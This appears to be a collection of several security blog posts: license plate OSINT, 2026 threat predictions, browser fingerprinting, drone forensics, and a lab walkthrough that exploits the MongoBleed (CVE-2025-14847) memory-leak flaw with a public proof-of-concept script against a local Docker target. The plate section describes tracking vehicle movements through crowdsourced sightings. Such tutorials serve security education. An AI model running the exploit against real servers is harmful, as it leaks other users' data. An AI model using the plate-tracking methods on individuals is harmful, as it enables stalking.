The first thing we’ll see during car OSINT is the license plate. Plates are one of the most recognizable vehicle identifiers worldwide, but their formats, designs, and information structures vary from one region to another. To determine which country a license plate belongs to, we can use the website worldlicenseplates.com.

This website serves as a visual reference, cataloging plate designs from nearly every country and region. For instance, let’s check Russian license plates.

On this site you can view different license plate types and how they evolved over time. It also displays government, police, military, and other unique plate styles for easier identification during OSINT work.

Aggregating Search Tools for Plate Research

There are many databases that allow you to gather information about vehicles by entering a plate number, but instead of searching multiple services across different jurisdictions, you can use a tool created by Cyber Detective called Vehicle Number Search Toolbox. It serves as a navigation hub that directs investigators to the most relevant lookup tools for each country.

By selecting a country and entering a license plate number, the website redirects you to the appropriate database for that jurisdiction. Below, for example, is a sample report for a vehicle registered in the United Kingdom.

In addition to plate lookup tools, it is worth mentioning a service called Nomerogram. This is a community driven platform where users upload and share photographs and sightings of license plates across Russia.

Unlike Western equivalents that focus primarily on vehicle specifications or collector interests, Nomerogram emphasizes geolocation and movement tracking. Users upload photographs of vehicles they encounter, tagging them with location and timestamp information, gradually building a distributed surveillance network that maps vehicle movements across vast geographic areas.

Crowdsourced Vehicle Photography and Tracking

Another useful platform for finding vehicle images by license plate is Platesmania. It functions as a global community of car enthusiasts who photograph and upload interesting or unique plates along with the vehicles they belong to. The site works much like a social network focused on automotive photography, where users contribute photos from daily observations and explore uploads from others.

The search functionality allows anyone to query specific plate numbers and retrieve all associated photographs uploaded to the platform. Each photograph includes the location where it was taken, the date and time, and typically shows the complete vehicle along with surrounding context.

Interestingly, government vehicles, diplomatic plates, and personalized or unique registrations often receive special attention from contributors, which can inadvertently result in detailed tracking datasets over time.

Summary

In this article we explored how to identify license plates by visual characteristics, access jurisdiction-specific databases, and utilize crowdsourced photography platforms to track vehicle movements across different regions.

To continue learning and sharpening your investigative abilities, be sure to explore our OSINT Investigator Bundle.

The post Open Source Intelligence (OSINT): Tools and Techniques for Vehicle Investigation, Part 1 first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

As we enter 2026, cybersecurity will be among the most important issues your organization, and our society, will face. Let’s take moment to review the most important issues we will be facing to help you better prepare.

Rather than leveling off or declining, cyber attacks continue at an unprecedented pace. Recent trends and technological developments can help to inform us as to the nature of attacks in 2026.

Let’s take a look.

AI as Both Weapon, Shield, and Force Multiplier

Artificial intelligence is changing the way all of us work and that applies to your cyber adversaries as well. Hackers are quickly adapting to the new AI environment, leveraging its speed and scale to enhance their attacks. At the same time, organizations are deploying AI to detect threats, predictive modelling, and automated responses. In both cases, Artificial Intelligence (AI) becomes a force-multiplier enabling both sides to do more with less.

In 2026, we will certainly see more AI generated threats and those organizations who refuse to use AI to defend their networks and assets will likely not be here to enjoy 2027.

SCADA/ICS/OT Vulnerabilities

Industrial systems (SCADA/ICS/OT) will continue to be key targets in 2026. These systems have benefited from security through obscurity for decades, but now that the attackers understand how poorly secured these systems are, the attacks will accelerate.

Some of the key issues identified by this industry include:

1. 47% SCADA/ICS/OT companies cite gaps in the skillsets and resources necessary to protect their systems.
2. 41% identify lack of network segmentation between OT/IIoT and IT environments as key challenges.

Critical infrastructure systems remain particularly vulnerable to sophisticated attacks. Over 200 proprietary protocols not found among the TCP/IP stack makes this field particularly challenging, while being among the most important to national security.

Internet of Things (IoT)

IoT is growing exponentially while the security of these devices is stuck in a crawl. In 2026, these devices will be increasingly used as a vector to compromise devices within the home network (phones, computers, other IoT) and as an element of a larger botnet, used to perpetuate the largest DDoS attacks in history (this is an easy prediction to make as IoT every year is responsible for the largest DDoS attacks in history). IoT increases every person’s attack surface and the greater the attack surface, the greater the probability of compromise.

Unless the IoT industry implements some basic standards of security, in 2026 the world will become a much more dangerous place.

Identity Management

Identity management is crucial in cybersecurity because it controls who has access to your systems and data.Without strong identity management, you’re essentially leaving the keys under the doormat—even the best perimeter security becomes ineffective when you can’t verify and control who’s inside your system. Artificial intelligence (AI) will make identity management even more challenging in 2026 as attackers use;

1. Deep fakes and synthetic identities including fake voices, videos, images. This will make such identity management systems as biometrics less reliable.
2. Social engineering will be enhanced by enabling the attacker to personalize phishing attacks by replicating the writing style, voice, or social media presence of a trusted colleague.
3. As AI-generated content becomes increasingly ubiquitous, it will become harder and harder to distinguish between AI agents and real humans.

2026 may be the year you will need to implement AI to determine if someone is actually a human.

Cloud Security Complexity

Cloud is the top cybersecurity threat organizations feel least prepared to manage. Multi-cloud environments face sophisticated malware, insider threats, mis-configurations, and supply chain vulnerabilities. Organizations are struggling with “tool sprawl”—managing dozens of separate security tools that create blind spots and conflicting configurations.

Quantum Computing Threats

Quantum computing is coming! Probably not in 2026, but on the near horizon the threat looms of quantum computing breaking your encryption. Quantum computers can easily break the most widely used asymmetric cryptography and 2026 should be the year you begin to prepare with quantum-resistant devices and cryptography.

Geopolitical Impact

Wars are raging around the planet and these conflicts will lead to additional geopolitical risk. Some 60% of business and tech leaders rank cyber risk investment in their top three strategic priorities in response to ongoing geopolitical uncertainty. State-sponsored cyberattacks, disrupted supply chains, fractured alliances, and telecom infrastructure vulnerabilities are reshaping threat landscapes and business strategies.

Ransomware Evolution

Ransomware-as-a-Service (RaaS) is making sophisticated attacks more accessible. AI-driven ransomware can instantly detect vulnerabilities with increased focus on vital industries like finance, healthcare, and energy. The average data breach cost has reached $4.4 million in 2025.

Multi-stage ransomware with data theft, harassment, and long‑tail extortion remains the most disruptive form of cybercrime, and we predict record incident volumes projected into 2026.

Cybercrime ecosystems are moving more of their infrastructure and monetization on‑chain (crypto, mixers, DeFi), making take-down and attribution harder and enabling more resilient RaaS affiliate models.

Talent and Skills Shortages

Workforce gaps remain a critical barrier. Knowledge and skills shortages are the top obstacles to implementing AI-enabled cyber defense. Over half of all organizations are turning to AI tools and managed security services to compensate for missing expertise.

Remote Work Security

With hybrid work as the default, securing remote access has become paramount. Cyber criminals are exploiting remote sessions through phishing, credential theft, and AI-powered impersonation attacks, expanding the attack surface of your organization significantly.

Proactive resilience and continuous adaptation are no longer optional but essential for survival in 2026’s threat landscape.

Physical Security

If you attacker is within your perimeter defenses, GAME OVER! An attacker who can enter your facility and sit down to a computer may be one of the least anticipated attacks. This applies to the disgruntled insider as well. You can have the very best perimeter defenses, but if the attacker is inside your walls, that will all be for naught.

In 2026, make certain to secure your physical perimeter and test all your systems against such as attacks as RFID smart card attacks and social engineering.

Summary

We predict that 2026 will be another very challenging year for those of us cybersecurity. It is essential that you understand the coming threats and the methods to the thwart them. Hackers-Arise will address each of these issues in 2026 both in this blog and in our 2026 trainings.

Join us to advance your cybersecurity career!

The post What Will Be Key Cybersecurity Issues in 2026? first appeared on Hackers Arise.

Welcome back, aspiring forensic investigators!

Today we are going to explore a topic that quietly shapes modern online privacy, yet most people barely think about it. When many users hear the word anonymity, they immediately think of VPN services or the Tor Browser. Once those tools are turned on, they often relax and assume they are safely hidden. Some even feel confident enough to behave recklessly online. Others, especially people in high-risk environments, place absolute trust in these tools to protect them from powerful adversaries. The problem is that this confidence is not always justified. A false sense of privacy can be more dangerous than having no privacy at all.

Master OTW has warned about this for years. Tor is an extraordinary privacy technology. It routes your traffic through multiple encrypted nodes so the websites you visit cannot easily see your real IP address. When it is used correctly and especially when accessing .onion resources, it truly can offer you some anonymity. But don’t let the mystery of Tor mislead you into thinking it guarantees absolute privacy. In the end, your traffic still has to pass through Tor nodes, and whoever controls the exit node can potentially observe unencrypted activity. That means privacy is only as strong as the path your traffic takes. A good example of this idea is the way Elliot in Mr. Robot uncovered what the owner of Ron’s Coffee was really involved in by monitoring traffic at the exit point.

Besides, determined adversaries can perform advanced statistical correlation attacks. Browsers can be fingerprinted by examining the small technical details that make your device unique. Exit nodes may also expose you when you browse the regular internet. The most important lesson is that absolute anonymity does not exist. And one of the biggest threats to that anonymity is browser fingerprinting.

What is Browser Fingerprinting?

Browser fingerprinting is a method websites use to identify you based on the unique characteristics of your device and software. Instead of relying on cookies or IP addresses, which can be deleted or hidden, fingerprinting quietly collects technical details about your system. When all of these little details are combined, they form something almost as unique as a real fingerprint.

One of the most important parts of browser fingerprinting is something called visual rendering differences. In simple terms, your computer draws images, text, and graphics in a way that is slightly different from everyone else’s computer. Techniques such as Canvas fingerprinting and WebGL fingerprinting take advantage of these differences. They can make your browser draw shapes or text and the small variations in how your device renders those shapes can be recorded. WebGL takes this even deeper, interacting directly with your graphics hardware to reveal more detailed information. What makes this especially concerning is the persistence. They are generated fresh each time, based on your hardware and software combination. Advertisers love this technology. Intelligence agencies know about it too. And most users never even realize it is happening.

Canvas Fingerprinting Explained

Let us start with Canvas fingerprinting. The HTML5 Canvas API was created so websites could draw graphics. However, it can also quietly draw an invisible image in the background without you ever seeing anything on the screen. This image often contains text, shapes, or even emojis. Once the image is rendered, the website extracts the pixel data and converts it into a cryptographic hash. That hash becomes your Canvas fingerprint.

The reason this fingerprint is unique comes from many small sources. Your graphics card renders shapes slightly differently. Your driver version may handle color smoothing in a unique way. Your installed fonts also affect how letters are shaped and aligned. The operating system you use adds its own rendering behavior. Even a tiny system change, such as a font replacement or a driver update, can modify the resulting fingerprint.

This fingerprinting technique is powerful because it follows you even when you think you are protected. It does not require stored browser data. It also does not care about your IP address. It simply measures how your machine draws a picture. This allows different groups to track and follow you, because your anonymous behavior suddenly becomes linkable.

If you want to see this in action, you can test your own Canvas fingerprint at BrowserLeaks. The same Canvas script will produce different fingerprints on different machines, and usually the same fingerprint on the same device.

WebGL Fingerprinting in Depth

Now let us move a layer deeper. WebGL fingerprinting builds on the same ideas, but it interacts even more closely with the graphics hardware. WebGL allows your browser to render 3D graphics, and through a specific extension named WEBGL_debug_renderer_info, a tracking script can retrieve information about your graphics card. This information can include the GPU vendor, such as NVIDIA, AMD, or Intel. It can also reveal the exact GPU model. In other words, WebGL is not only observing how graphics are drawn, it is asking your system directly what kind of graphics engine it has. This creates a highly identifiable hardware profile.

In environments where most devices use similar hardware, one unusual GPU can make you stand out instantly. Combining WebGL with Canvas makes tracking incredibly precise.

Risks and Persistence

Canvas and WebGL fingerprinting are difficult to escape because they are tied to physical components inside your device. You can delete cookies, reinstall your browser or wipe your entire system. But unless you also change your hardware, your fingerprint will likely remain similar or identical. These fingerprints also become more powerful when combined with other factors such as language settings, time zone, installed plugins, and browsing behavior. Over time, the tracking profile becomes extremely reliable. Even anonymous users become recognizable.

This is not just theory. A retailer might track shoppers across websites, including in private browsing sessions. A government might track dissidents, even when they route traffic through privacy tools. A cyber-criminal might identify high-value targets based on their hardware profile. All of this can happen silently in the background.

Conclusion

Browser fingerprinting through Canvas and WebGL is one of the most persistent and quiet methods of online tracking in use today. As investigators and security professionals, it is important that we understand both its power and its risks. You can begin exploring your own exposure by testing your device on fingerprinting-analysis websites and observing the identifiers they generate. Privacy-focused browsers and hardened settings may reduce the amount of information exposed, but even then the protection is not perfect. Awareness remains the most important defense. When you understand how fingerprinting works, you can better evaluate your privacy decisions, your threat model, and the trust you place in different technologies.

In the next part, we will go even deeper into this topic and see what else can be learned about you through your browser.

The post Digital Forensics: Browser Fingerprinting – Visual Identification Techniques, Part 1 first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Recently, MongoDB disclosed a critical security vulnerability that security researchers quickly dubbed “MongoBleed” in reference to its similarity to the infamous Heartbleed vulnerability that affected OpenSSL years earlier. Just as Heartbleed allowed attackers to extract memory from vulnerable web servers, MongoBleed enables unauthenticated attackers to leak sensitive data from MongoDB server memory without any credentials or authentication.

In this article, we will briefly discuss NoSQL databases, explore the origins of MongoBleed, and finally walk through the exploitation process in a lab environment. Let’s get rolling!

What are NoSQL Databases?

Before diving into the vulnerability itself, it is essential to have some understanding of databases in general and what MongoDB is.

Relational databases (RDBMS), such as MySQL, are very common, and at Hackers-Arise, you can find a set of articles covering how they might be hacked. However, when an application needs to handle large amounts of data with high speed and reliability, developers may need a different solution. This is where NoSQL databases come in.

NoSQL systems like MongoDB offer an alternative to traditional SQL databases. They are popular today because they are easy to use, scale well both horizontally and vertically, and provide flexible data storage. Unlike relational databases, NoSQL does not force data into fixed tables and rows. Instead, developers can store data in the format that best suits their needs.

NoSQL databases come in four main types, as shown on the image below.

Among them, document databases are the most widely used. They store data in document format, making it easy to search and structure. In document databases, a “document” replaces a table row, and a “collection” replaces a table. MongoDB also a document database that stores data as flexible BSON (Binary JSON) documents.

Understanding the Vulnerability

MongoBleed takes advantage of a flaw in how MongoDB’s network layer processes compressed messages. To understand it fully, we need to look at how the MongoDB wire protocol works, how zlib compression fits into it, and where the vulnerability appears in that process.

MongoDB Wire Protocol Basics

MongoDB clients and servers communicate using a binary protocol that exchanges messages over TCP connections. Each message consists of a header containing metadata like message length and operation type, followed by the actual message body containing the command or response data. When compression is enabled, this body section gets compressed before transmission and must be decompressed by the receiver before processing.

The wire protocol header includes a field indicating the total message length, which the receiver uses to know how much data to read from the network socket. For compressed messages, there’s an additional header containing information about the compression algorithm used and the claimed uncompressed size of the data. This uncompressed size field is important to understanding the vulnerability, as it tells MongoDB how much memory to allocate for holding the decompressed data.

How Zlib Compression Works

Zlib is a widely-used compression library that implements the DEFLATE algorithm. Simplified DEFLATE algorithm is shown below.

When MongoDB enables zlib compression, outgoing messages get compressed before transmission and incoming compressed messages get decompressed upon receipt. The compression process reduces the network bandwidth required for communication, which can significantly improve performance when clients and servers communicate over limited or high-latency networks.

The decompression process requires allocating a buffer large enough to hold the uncompressed data. The compressed data includes information about how much space the uncompressed form will require, and MongoDB reads this value to allocate an appropriately sized buffer. The zlib decompression function then writes the decompressed data into this buffer, returning a value indicating how many bytes were actually written.

If you struggle to understand how compression works, consider checking our Cryptography Basics for Hackers training.

The Vulnerability Mechanism

An attacker crafts a malicious MongoDB wire protocol message that claims an unrealistically large uncompressed size. For example, they might send a message whose compressed payload is only 100 bytes but claims it will decompress to 50,000 bytes. MongoDB, trusting this claim, allocates a 50,000-byte buffer to hold the decompressed data.

The zlib library then decompresses the actual 100 bytes of compressed data, which expands to perhaps 500 bytes of uncompressed data. Zlib writes these 500 bytes to the beginning of the 50,000-byte buffer and returns a value indicating that it wrote 500 bytes. However, due to the bug in MongoDB’s implementation, the server doesn’t properly verify this return value against the claimed uncompressed size. Instead, it treats the entire 50,000-byte buffer as if it contains valid decompressed data.

When MongoDB then parses this buffer as BSON, the parser reads field names and values sequentially through the buffer. It successfully parses the first 500 bytes of legitimate decompressed data, but then continues reading into the remaining 49,500 bytes of uninitialized memory. In C and C++ programming, uninitialized memory contains whatever data happened to be there from previous operations rather than being zeroed out. This memory space might contain fragments of previous MongoDB operations, other clients’ queries, configuration data, or any other information that recently resided in that memory region.

The BSON parser continues reading through this uninitialized memory region, interpreting random bytes as field names until it encounters null bytes (0x00) which mark the end of field names in the BSON format. By carefully choosing different claimed uncompressed sizes in successive exploitation attempts, an attacker can probe different regions of memory, extracting varying chunks of data and slowly reconstructing complete sensitive information.

Affected Versions

The MongoBleed vulnerability affects a very broad range of MongoDB Server releases, covering almost a decade of versions. It impacts MongoDB 8.2.0 through 8.2.2, 8.0.0 through 8.0.16, 7.0.0 through 7.0.27, 6.0.0 through 6.0.26, 5.0.0 through 5.0.31, 4.4.0 through 4.4.29, as well as all releases in the 4.2.x, 4.0.x, and 3.6.x series. In simple terms, any deployment running a version released since mid-2017 may be at risk if it has not been updated.

The issue affects both Community and Enterprise editions and applies to environments running on-premises, in virtual machines, containers, or in the cloud. As long as the server has zlib compression enabled and is reachable over the network, it remains vulnerable.

MongoDB has issued fixes for all currently supported branches. Older versions such as 4.2, 4.0, and 3.6 no longer receive patches.

The Exploitation

To exploit the MongoBleed vulnerability, there are several proof-of-concept implementations available in different programming languages. One useful example is Joe Desimone’s PoC, which also includes a Docker Compose file that lets you quickly spin up a vulnerable MongoDB environment for testing.

To begin, clone the repository using the following command:

kali> git clone https://github.com/joe-desimone/mongobleed.git

By reviewing the mongobleed script, we can see how it generates malformed compressed BSON messages and attempts to capture memory bytes that the server unintentionally leaks.

To test the PoC, we’ll first set up a vulnerable MongoDB instance:

kali> docker-compose up -d

By checking the running Docker containers, we can see that mongobleed-target is active and listening on the default MongoDB port.

kali> sudo docker ps | grep mongo

Let’s run the exploit on it:

kali> python3 mongobleed.py –host localhost

This initial scan probed memory offsets from 20 to 8192. The exploit works by creating BSON documents with artificially large length fields. When MongoDB processes these documents, it reads field names from uninitialized memory until it encounters a null byte. Using different offsets gives access to different memory regions.

The leaked data can include internal MongoDB logs and state information, WiredTiger configuration details, system /proc data such as memory and network stats, file paths from inside the Docker container, and even connection UUIDs and client IP addresses.

To gather more information, we can run a deeper scan:

kali> python3 mongobleed.py –host localhost –max-offset 50000

According to Shodan, there are nearly 214,000 hosts running MongoDB.

However, it’s important to remember that many of these systems are already patched, and some do not use zlib compression at all, which makes MongoBleed ineffective against them.

Summary

MongoBleed is one of the most serious MongoDB vulnerabilities discovered in recent years, affecting almost ten years of server releases. Tracked as CVE-2025-14847, it carries a CVSS score between 7.5 and 8.7, depending on the scoring system. Its impact is severe because it requires no login, is easy to exploit over the network, and affects MongoDB versions from 3.6 up through 8.2.

In this article, we walked through the vulnerability, demonstrated how it can be exploited in a lab setup, and highlighted the potential attack surface it exposes.

The post Database Hacking: Get Started with MongoBleed Vulnerability first appeared on Hackers Arise.

Welcome back, aspiring digital investigators!

Over the last few years, drones have moved from being niche gadgets to becoming one of the most influential technologies on the modern battlefield and far beyond it. The war in Ukraine accelerated this shift dramatically. During the conflict, drones evolved at an incredible pace, transforming from simple reconnaissance tools into precision strike platforms, electronic warfare assets, and logistics tools. This rapid adoption did not stop with military forces. Criminal organizations, including cartels and smuggling networks, quickly recognized the potential of drones for surveillance and contraband delivery. As drones became cheaper, more capable, and easier to modify, their use expanded into both legal and illegal activities. This created a clear need for digital forensics specialists who can analyze captured drones and extract meaningful information from them.

Modern drones are packed with memory chips, sensors, logs, and media files. Each of these components can tell a story about where the drone has been, how it was used, and who may have been controlling it. At its core, digital forensics is about understanding devices that store data. If something has memory, it can be examined.

U.S. Department of Defense Drone Dominance Initiative

Recognizing how critical drones have become, the United States government launched a major initiative focused on drone development and deployment. Secretary of War Pete Hegseth announced a one-billion-dollar “drone dominance” program aimed at equipping the U.S. military with large numbers of cheap, scalable attack drones.

Modern conflicts have shown that it makes little sense to shoot down inexpensive drones using missiles that cost millions of dollars. The program focuses on producing tens of thousands of small drones by 2026 and hundreds of thousands by 2027. The focus has shifted away from a quality-over-quantity mindset toward deploying unmanned systems at scale. Analysts must be prepared to examine drone hardware and data just as routinely as laptops, phones, or servers.

Drone Platforms and Their Operational Roles

Not all drones are built for the same mission. Different models serve very specific roles depending on their design, range, payload, and level of control. On the battlefield, FPV drones are often used as precision strike weapons. These drones are lightweight, fast, and manually piloted in real time, allowing operators to guide them directly into high-value targets. Footage from Ukraine shows drones intercepting and destroying larger systems, including loitering munitions carrying explosive payloads.

To counter electronic warfare and jamming, many battlefield drones are now launched using thin fiber optic cables instead of radio signals. These cables physically connect the drone to the operator, making jamming ineffective. In heavily contested areas, forests are often covered with discarded fiber optic lines, forming spider-web-like patterns that reflect sunlight. Images from regions such as Kupiansk show how widespread this technique has become.

Outside of combat zones, drones serve entirely different purposes. Commercial drones are used for photography, mapping, agriculture, and infrastructure inspection. Criminal groups may use similar platforms for smuggling, reconnaissance, or intimidation. Each use case leaves behind different types of forensic evidence, which is why understanding drone models and their intended roles is so important during an investigation.

DroneXtractor – A Forensic Toolkit for DJI Drones

To make sense of all this data, we need specialized tools. One such tool is DroneXtractor, an open-source digital forensics suite available on GitHub and written in Golang. DroneXtractor is designed specifically for DJI drones and focuses on extracting and analyzing telemetry, sensor values, and flight data.

The tool allows investigators to visualize flight paths, audit drone activity, and extract data from multiple file formats. It is suitable for law enforcement investigations, military analysis, and incident response scenarios where understanding drone behavior is critical. With this foundation in mind, let us take a closer look at its main features.

Feature 1 – DJI File Parsing

DroneXtractor supports parsing common DJI file formats such as CSV, KML, and GPX. These files often contain flight logs, GPS coordinates, timestamps, altitude data, and other telemetry values recorded during a drone’s operation. The tool allows investigators to extract this information and convert it into alternative formats for easier analysis or sharing.

In practical terms, this feature can help law enforcement reconstruct where a drone was launched, the route it followed, and where it landed. For military analysts, parsed telemetry data can reveal patrol routes, observation points, or staging areas used by adversaries. Even a single flight log can provide valuable insight into patterns of movement and operational habits.

Feature 2 – Steganography

Steganography refers to hiding information within other files, such as images or videos. DroneXtractor includes a steganography suite that can extract telemetry and other embedded data from media captured by DJI drones. This hidden data can then be exported into several different file formats for further examination.

This capability is particularly useful because drone footage often appears harmless at first glance. An image or video shared online may still contain timestamps, unique identifiers and sensor readings embedded within it. For police investigations, this can link media to a specific location or event.

Feature 3 – Telemetry Visualization

Understanding raw numbers can be difficult, which is why visualization matters. DroneXtractor includes tools that generate flight path maps and telemetry graphs. The flight path mapping generator creates a visual map showing where the drone traveled and the route it followed. The telemetry graph visualizer plots sensor values such as altitude, speed, and battery levels over time.

Investigators can clearly show how a drone behaved during a flight, identify unusual movements, or detect signs of manual intervention. Military analysts can use these visual tools to assess mission intent, identify reconnaissance patterns, or confirm whether a drone deviated from its expected route.

Feature 4 – Flight and Integrity Analysis

The flight and integrity analysis feature focuses on detecting anomalies. The tool reviews all recorded telemetry values, calculates expected variance, and checks for suspicious gaps or inconsistencies in the data. These gaps may indicate file corruption, tampering, or attempts to hide certain actions.

Missing data can be just as meaningful as recorded data. Law enforcement can use this feature to determine whether logs were altered after a crime. Military analysts can identify signs of interference and malfunction, helping them assess the reliability of captured drone intelligence.

Usage

DroneXtract is built in Go, so before anything else you need to have Go installed on your system. This makes the tool portable and easy to deploy, even in restricted or offline environments such as incident response labs or field investigations.

We begin by copying the project to our computer

bash# > git clone https://github.com/ANG13T/DroneXtract.git

To build and run DroneXtract from source, you start by enabling Go modules. This allows Go to correctly manage dependencies used by the tool.

bash# > $ export GO111MODULE=on

Next, you fetch all required dependencies defined in the project. This step prepares your environment and ensures all components DroneXtract relies on are available.

bash# >  go get ./…

Once everything is in place, you can launch the tool directly:

bash# > go run main.go

At this point, DroneXtract is ready to be used for parsing files, visualizing telemetry, and performing integrity analysis on DJI drone data. The entire process runs locally, which is important when handling sensitive or classified material.

Airdata Usage

DJI drones store detailed flight information in .TXT flight logs. These files are not immediately usable for forensic analysis, so an intermediate step is required. For this, we rely on Airdata’s Flight Data Analysis tool, which converts DJI logs into standard forensic-friendly formats.

You can find the link here

Once the flight logs are processed through Airdata, the resulting files can be used directly with DroneXtract:

Airdata CSV output files can be used with:

1) the CSV parser

2) the flight path map generator

3) telemetry visualizations

Airdata KML output files can be used with:

1) the KML parser for geographic mapping

Airdata GPX output files can be used with:

1) the GPX parser for navigation-style flight reconstruction

This workflow allows investigators to move from a raw drone log to clear visual and analytical output without reverse-engineering proprietary formats themselves.

Configuration

DroneXtract also provides configuration options that allow you to tailor the analysis to your specific investigation. These settings are stored as environment variables in the .env file and control how much data is processed and how sensitive the analysis should be.

TELEMETRY_VIS_DOWNSAMPLE

This value controls how much telemetry data is sampled for visualization. Higher values reduce detail but improve performance, which is useful when working with very large flight logs.

FLIGHT_MAP_DOWNSAMPLE

This setting affects how many data points are used when generating the flight path map. It helps balance visual clarity with processing speed.

ANALYSIS_DOWNSAMPLE

This value controls the amount of data used during integrity analysis. It allows investigators to focus on meaningful changes without being overwhelmed by noise.

ANALYSIS_MAX_VARIANCE

This defines the maximum acceptable variance between minimum and maximum values during analysis. If this threshold is exceeded, it may indicate abnormal behavior, data corruption, or possible tampering.

Together, these settings give investigators control over both speed and precision, allowing DroneXtract to be effective in fast-paced operational environments and detailed post-incident forensic examinations.

Summary

Drone forensics is still a developing field, but its importance is growing rapidly. As drones become more capable, the need to analyze them effectively will only increase. Tools like DroneXtractor show how much valuable information can be recovered from devices that were once considered disposable. 

Looking ahead, it would be ideal to see fast, offline forensic tools designed specifically for battlefield conditions. Being able to quickly extract flight data, locations, and operational details from captured enemy drones could provide immediate tactical advantages. Drone forensics may soon become as essential as traditional digital forensics on computers and mobile devices.

The post Digital Forensics: Drone Forensics for Battlefield and Criminal Analysis first appeared on Hackers Arise.